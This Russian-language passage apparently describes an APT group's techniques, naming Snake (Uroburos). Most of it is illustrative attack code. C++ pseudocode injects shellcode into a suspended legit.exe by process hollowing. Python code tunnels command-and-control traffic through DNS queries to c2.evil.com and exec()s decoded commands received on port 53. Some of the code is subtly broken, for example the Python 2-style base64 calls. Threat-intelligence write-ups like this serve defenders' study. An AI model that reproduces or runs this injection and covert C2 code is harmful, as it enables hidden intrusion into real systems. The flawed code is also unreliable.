Известна использованием сложных вредоносных программ, таких как Snake (Uroburos), которые маскируются под системные процессы. Также применяет методы "отравления" DNS, внедрение в легитимные процессы (process hollowing) и скрытие трафика через легитимные домены.
// Пример процесс-холлоуинга (внедрение в legit.exe) // C++ псевдокод для иллюстрации HANDLE hProcess = CreateProcessA( "C:\\Windows\\System32\\legit.exe", NULL, NULL, NULL, 0, CREATE_SUSPENDED, // Создать в приостановленном состоянии NULL, NULL, &si, &pi ); // Выделить память в процессе LPVOID remoteBuffer = VirtualAllocEx( hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // Записать shellcode в удалённый процесс WriteProcessMemory(hProcess, remoteBuffer, shellcode, strlen(shellcode), NULL); // Заменить точку входа процесса CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); ctx.Eax = (DWORD)remoteBuffer; // Установить EIP на shellcode SetThreadContext(pi.hThread, &ctx); // Возобновить выполнение процесса ResumeThread(pi.hThread);
// Использование DNS для команд и управления (C2) // Код, имитирующий DNS-туннелирование import dnslib import socket # Формирование DNS-запроса с полезной нагрузкой def send_command_via_dns(command): encoded_cmd = command.encode('base64').replace('+', '_').replace('=', '-') query = encoded_cmd + '.c2.evil.com' # Отправка DNS-запроса socket.getaddrinfo(query, None) # Получение команды через DNS def receive_command_via_dns(): # Слушаем DNS-запросы sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", 53)) while True: data, addr = sock.recvfrom(1024) # Разбор DNS-запроса request = dnslib.DNSRecord.parse(data) qname = str(request.get_qname()) # Декодирование команды decoded_cmd = qname.split('.')[0].replace('_', '+').replace('-', '=') exec(decoded_cmd.decode('base64'))